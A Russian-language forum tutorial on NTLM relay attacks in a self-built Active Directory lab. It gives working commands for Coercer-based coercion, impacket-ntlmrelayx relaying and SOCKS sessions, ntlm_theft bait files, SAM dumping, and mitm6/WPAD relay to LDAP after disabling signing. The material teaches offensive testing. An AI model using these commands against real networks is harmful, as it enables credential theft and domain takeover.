LIMB
Вход Регистрация

тема

NTLM Relay атаки. Пентест Active Directory.

webcore · · 0 ответов · 284 просмотров

Введение​


В этой статье я расскажу и покажу NTLM Relay атаки в среде Active Directory. Сначала пройдемся по теории, затем попрактикуемся, развернув лабу с доменом corp.local и пробуя разные атаки используя кали линукс. Если вы раньше никогда не поднимали собственные лабы то советую это сделать, используя лабу из этой статьи вы сможете тестировать любые другие атаки на AD что очень полезно для обучения.


Я выбрал именно эту тему потому что про NTLM Relay слышал каждый, но при этом материалов об этом типе атак на русском языке очень мало поэтому я решил написать об этом статью. Цель статьи дать необходимый фундамент знаний о протоколе NTLM и relay атаках.

Теория​


NTLM - протокол сетевой аутентификации разработанный Microsoft.

Не удалось прогрузить медиа


Возможны два сценария:
  • Клиент использует для аутентификации локальную учетку сервера, в этом случае секрет пользователя хранится на сервере, что позволяет серверу аутентифицировать пользователя.
  • Клиент использует доменную учетную запись, в этом случае серверу потребуется обратиться к контроллерку домена для проверки.
В обоих случаях аутентификация начинается с challenge/response между клиентом и сервером.

Challenge - Response​


Этот этап нужен чтобы сервер мог убедиться, что пользователь знает пароль учетной записи под которой он проходит аутентификацию, не передавая пароль по сети. Состоит он из трех этапов:
  1. Negotiation. Клиент сообщает серверу о намерении пройти аутентификацию (NEGOTIATION_MESSAGE)
  2. Challenge. Сервер отправляет клиенту челендж, представляющий собой 64-битное случайное значение, которое меняется при каждом запросе на аутентификацию (CHALLENGE_MESSAGE)
  3. Response. Клиент шифрует полученный ранее запрос, используя в качестве ключа хэш своего пароля, и отправляет зашифрованную версию серверу вместе с именем пользователя и, при необходимости, доменом (AUTHENTICATE_MESSAGE).
Не удалось прогрузить медиа


Relay​

Исходя из теории выше, уже можно представить сценарий атаки. Злоумышленник встает между клиентом и сервером (man-in-the-middle) и просто перехватывает аутентификацию, выдавая себя за клиента не зная пароля.

Все сообщения, отправленные клиентом серверу, перехватываются злоумышленником и ретранслируются реальному серверу. Аналогично, все сообщения, отправленные сервером ретранслируются атакующим клиенту.

Не удалось прогрузить медиа


Net-NTLMv1 и Net-NTLMv2​


Именно этот response, который атакующий ретранслирует в третьем сообщении, обычно является хэшем Net-NTLMv1 или Net-NTLMv2.

Если быть точным, это не совсем зашифрованная версия challenge, а хэш, при вычислении которого используется хэш клиента. В Net-NTLMv2 используется функция HMAC_MD5. Хэши такого типа можно взломать только брутом. В Net-NTLMv1 криптография, используемая для вычисления хэша устарела, и NT хэш клиента может быть восстановлен очень быстро.

Session и Signing​


Выполнять действия на сервисе после успешного relay ntlm позволяет механизм сессии. Когда клиент аутентифицируется на сервере для выполнения какой либо задачи, нужно различать две вещи:
  1. Аутентификация. Позволяет серверу убедиться, что клиент действительно является тем, за кого себя выдает.
  2. Сессия. В течении которой клиент может выполнять определенные действия.
Если клиент успешно прошел аутентификацию, он сможет получить доступ к ресурсам, предоставляемым сервером, например SMB, LDAP, HTTP, SQL сервер и так далее.

Signing (подпись) - это метод проверки подлинности, который гарантирует, что данные не были изменены в процессе передачи от отправителя к получателю.

Не удалось прогрузить медиа


Подпись выступает в качестве защиты от атак NTLM Relay. Даже если атакующему удалось аутентифицироваться на сервере под видом клиента, он не сможет подписывать пакеты, ведь чтобы подписать пакет, необходимо знать пароль клиента.


При NTLM Relay атакующий хочет притвориться клиентом, но он не знает его пароля, значит он не может подписать пакеты от его имени, следовательно сервер при их получении увидит, что подпись невалидна и отклонит запрос атакующего.

Инструмент netexec по умолчанию отображает какие серверы требуют подписи:
Не удалось прогрузить медиа


Практика​


Потребуется любой гипервизор и .iso образ windows server 2025 evaluation, скачать его можно например с официального сайта microsoft.

Создаем виртуалку с .iso образом, в настройках сетевой адаптер обязательно ставим intnet.
Не удалось прогрузить медиа


Запускаем машину и везде жмем далее, самое главное выбираем версию Desktop Experience.

Не удалось прогрузить медиа


После установки нужно ввести пароль от учётки локал админа. Я буду использовать 
Code:
P@ssw0rd!
. После этого я рекомендую сделать snapshot свежеустановленной машины для удобного клонирования в будущем, так как в будущем мы добавим еще несколько машин, также бывают ситуации когда нужно откатить систему, снепшоты в этом случае незаменимы.

dc01​


Win+R -> powershell - вводим команду:

Code:
Rename-Computer -NewName dc01

далее пкм на иконку интернета > Network & Internet settings > Ethernet > IP assigment Edit

Не удалось прогрузить медиа


Не удалось прогрузить медиа


ставим настройки как на скрине и сохраняем
Перезагружаемся. Теперь нужно настроить AD. В Server Manager сверху выбираем Manage > Add Roles and Features

Не удалось прогрузить медиа


три раза Next и галочка для установки Active Directory Domain Services. Далее везде Next, на этапе Confirmation нужно поставить галочку "Restart the destination server automatically if required" и нажать "Install"

Не удалось прогрузить медиа


После установки в Server Manager сверху появится флажок, нажимаем на него и кликаем "Promote this server to a domain controller", ставим галку "Add a new forest" и в поле вписываем corp.local > Next. DSRM password можно также ввести P@ssw0rd!. Потом везде жмём Next и в конце Install.

Не удалось прогрузить медиа


Открываем powershell и добавляем пользователя john.doe. Он будет служить в качестве Initial Access creds, позже мы дадим ему local admin на тачке в домене, это может быть полезно если вы захотите попробовать те же самые атаки но из под Windows:

Code:
$john = ConvertTo-SecureString "Qwerty1234!" -AsPlainText -Force
New-ADUser -Name "John Doe" -SamAccountName "john.doe" -AccountPassword $john -Enabled $true

На этом настройка dc01 закончена.

srv01​


Делаем клон снепшота уже установленного windows server и запускаем. Если мы сейчас попытаемся добавить машину в домен мы увидим ошибку из за конфликта идентификаторов, которые должны быть уникальны, таких как SID. В этом нам поможет встроенная утилита Win+R sysprep. Ставим такие настройки:

Не удалось прогрузить медиа


После перезагрузки нужно будет снова ввести пароль для локал админа, можно ввести тот же самый P@ssw0rd!

Открываем настройки сети и по аналогии с dc01 выставляем настройки как на скрине, в поле Preferred DNS нужно вписать IP адрес dc01.

Не удалось прогрузить медиа


Через Win+R открываем sysdm.cpl жмем на Change и ставим такие же параметры:

Не удалось прогрузить медиа


Для входа в домен нужно иметь учетку с правом добавления компьютера в домен:

Не удалось прогрузить медиа



Перезагружаемся, открываем powershell чтобы дать Джону права локального админа:

Code:
Add-LocalGroupMember -Group "Administrators" -Member "CORP\john.doe"

Из под логина Джона для примера расшарим папку Documents, позже будем релеить аутентфиикацию для получения к ней доступа. В проводнике по пути C:\Users\john.doe пкм на "Documents" -> Properties -> Sharing -> Advanced Sharing:

Не удалось прогрузить медиа


Не удалось прогрузить медиа


srv02​

После запуска клонированного снепшота снова нужно через sysprep сбросить идентификаторы, после чего настроить сеть идентично srv01, но указав ip адрес 192.168.0.102


После установки нужно зайти в домен через sysdm.cpl, см. часть про srv01.

kali​


Кали не требует определенных настроек, разве что нужно также как и на винде добавить intnet адаптер и выставить параметры сети (на панели сверху справа значок интернета, пкм -> edit connections):

Не удалось прогрузить медиа


Сразу можно проверить воспользовавшись netexec:

Не удалось прогрузить медиа


В Атаку!​


Вся цепочка атаки выглядит примерно вот так:

Не удалось прогрузить медиа


Ниже я буду показывать различные сценарии NTLM Relay атак с разными методами принуждения (coercion) аутентификации. Перед тем, как релеить нтлм, сначала необходимо заставить тачку пройти аутентификацию на наш kali linux (атакующий хост). Способов это сделать можно придумать бесконечное множество, но все они сводятся к одному принципу.

ntlmrelayx.py - socks​


Для категории RPC методов существует мощный инструмент Coercer, установить в Kali его можно командой:

Code:
sudo apt update && sudo apt install coercer

Для ntlm relay существует скрипт из набора Impacket. В Kali Linux они предустановлены, запустить можно командой:

Code:
impacket-ntlmrelayx -smb2support -t smb://192.168.0.101 -socks

В качестве цели указывается сервер, на который будет перенаправляться аутентификация. Важно учитывать, чтобы smb target не требовал smb signing. Проверить это можно с помощью netexec:

Не удалось прогрузить медиа


Параметр -socks позволит использовать smb сессию через прокси. Дальше вы это увидите. Теперь когда ntlmrelayx находится в ожидании подключений, с помощью раннее установленного инструмента заставим контроллер домена аутентифицироваться к нашему атакующему хосту:

Code:
coercer coerce -t 192.168.0.100 -u john.doe -p 'Qwerty1234!' -d corp.local -l 192.168.0.111 --always-continue

Здесь в качестве таргета нужно ввести ip машины, которую мы заставляем пройти аутентификацию для последующего релея. Флаг --always-continue нужен чтобы coercer перебрал всевозможные методы.

Не удалось прогрузить медиа


В соседнем терминале с запущенным ntlmrelayx можно увидеть что аутентификация прошла успешно:

Не удалось прогрузить медиа


Введя команду socks можно увидеть активные сессии, здесь видно что coercion на компьютер dc01 прошел успешно и прошла аутентификация на таргет 192.168.0.101

Не удалось прогрузить медиа


Далее чтобы воспользоваться прокси нужно добавить его в конфиг инструмента proxychains4, который есть в кали линукс по умолчанию.

Code:
sudo nano /etc/proxychains4.conf

В самом конце нужно закомментировать (или просто изменить) строчку и дописать:

Не удалось прогрузить медиа


Теперь можно подключиться к зарелееной сессии:

Code:
proxychains4 impacket-smbclient corp/'dc01$'@192.168.0.101

Не удалось прогрузить медиа


ntlmrelayx.py - dump SAM​


Заставлять аутентифицироваться можно и методами социальной инженерии. В одном из таких методов может помочь инструмент https://github.com/Greenwolf/ntlm_theft. Заключается он в генерации файлов разных форматов {m3u,zoom,wax,modern,url,lnk,docx,asx,rtf,xml,scf,jnlp,autoruninf,all,application,desktopini,libraryms,xlsx,pdf,htm}. Так как ворд не установлен для примера я создал htm файл и закинул в ранее открытую шару Documents.

Code:
python3 ntlm_theft.py -g htm -s 192.168.0.111 -f ntlm

Не удалось прогрузить медиа


Code:
impacket-ntlmrelayx -smb2support -t smb://192.168.0.102

Обратите внимание, что здесь в качестве цели выбирается машина srv02. У вас может возникнуть вопрос почему не srv01? Дело в том, что релеить аутентификацию на самого себя не получится, майки это пофиксили еще давно.

Если в качестве параметра ничего не указывать ntlmrelayx.py по умолчанию попытается сдампить SAM:

Не удалось прогрузить медиа


Следующий очевидный сценарий атаки это провести pass-the-hash атаку:

Не удалось прогрузить медиа


Имейте ввиду, что нужно учитывать существование CVE эксплойтов, с помощью которых можно заставить аутентифицироваться жертву если система не пропатчена, пример одной из таких относительно недавних уязвимостей - CVE-2025-24054.

ntlmrelayx.py + mitm6 - domain dump​


Эта атака сработает только на те контроллеры домена, где отключен LDAP signing, однако я все равно решил написать про нее так как она не требует никаких кредов и сама концепция довольно интересная.


Нужно отключить ldap signing на dc01 используя команду powershell:

Code:
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity" -Value 0

Также на последних версиях нужно дополнительно в gpmc.msc отключить параметр. Нужно перейти по следующему пути и нажать пкм->Edit:

Code:
corp.local\Domain Controllers\Default Domain Controllers Policy\

В появившимся окне нужно пройти по пути:

Code:
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options

В политике "Domain controller: LDAP server Enforce signing requirements" нужно поменять Not Defined на Disabled.

Не удалось прогрузить медиа


В последних версиях Windows IPv6 включен по умолчанию и имеет приоритет над IPv4, это дает пространство для MITM атак на IPv6. В большинстве случаев IPv6 не используется, это значит, что злоумышленник может перехватывать DHCP запросы для IPv6 адресов и принуждать аутентифицироваться к атакующему хосту.


установить mitm6 на кали линукс можно следующей командой:

Code:
sudo apt update && sudo apt install mitm6


Не удалось прогрузить медиа

Code:
sudo mitm6 -i eth1 -d corp.local --ignore-nofqdn

и запускаем ntlmrelayx.py:
Code:
impacket-ntlmrelayx -wh wpad.corp.local -6 -t ldap://dc01.corp.local --add-computer 'attackerhost$'

Чтобы полетели WPAD запросы нужно перезагрузить все машины кроме dc01.

Не удалось прогрузить медиа


Здесь видно что релей атака прошла успешно, скрипт сдампил LDAP данные, еще создал бы учетку domain user, если хватило бы прав. Дальнейший флоу атаки выглядит примерно так:

  1. Запуск ntlmrelayx.py с флагом --add-computer. Результат: доменная учетная запись компьютера под контролем хакера.
  2. Запуск ntlmrelayx.py с флагом --delegate-access. Результат: компьютерная учетка злоумышленника получает права на имперсонирование пользователей атакуемого компьютера (в нашем случае SRV01$).

Заключение​

Надеюсь статья была полезной и интересной, и вы лучше начали понимать как работает протокол NTLM. Это лишь несколько примеров как можно применять Relay, в эту статью заложен фундамент после изучения которой можно прикинуть множество других вариаций использования NTLM Relay атак, комбинируя их с классическими MITM, особенно учитывая, что релеить можно далеко не только SMB и LDAP, а чуть ли не все протоколы, включая HTTP, MSSQL и т. д. Не останавливайтесь на одной моей статье, если хотите изучать дальше Relay атаки, читайте статьи других авторов, на других форумах, на других языках, каждый человек может объяснять свою тему по своему и с каждым таким объяснением вы начинаете лучше понимать тему. Спасибо за прочтение.
👍17 👏3 🤔4

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.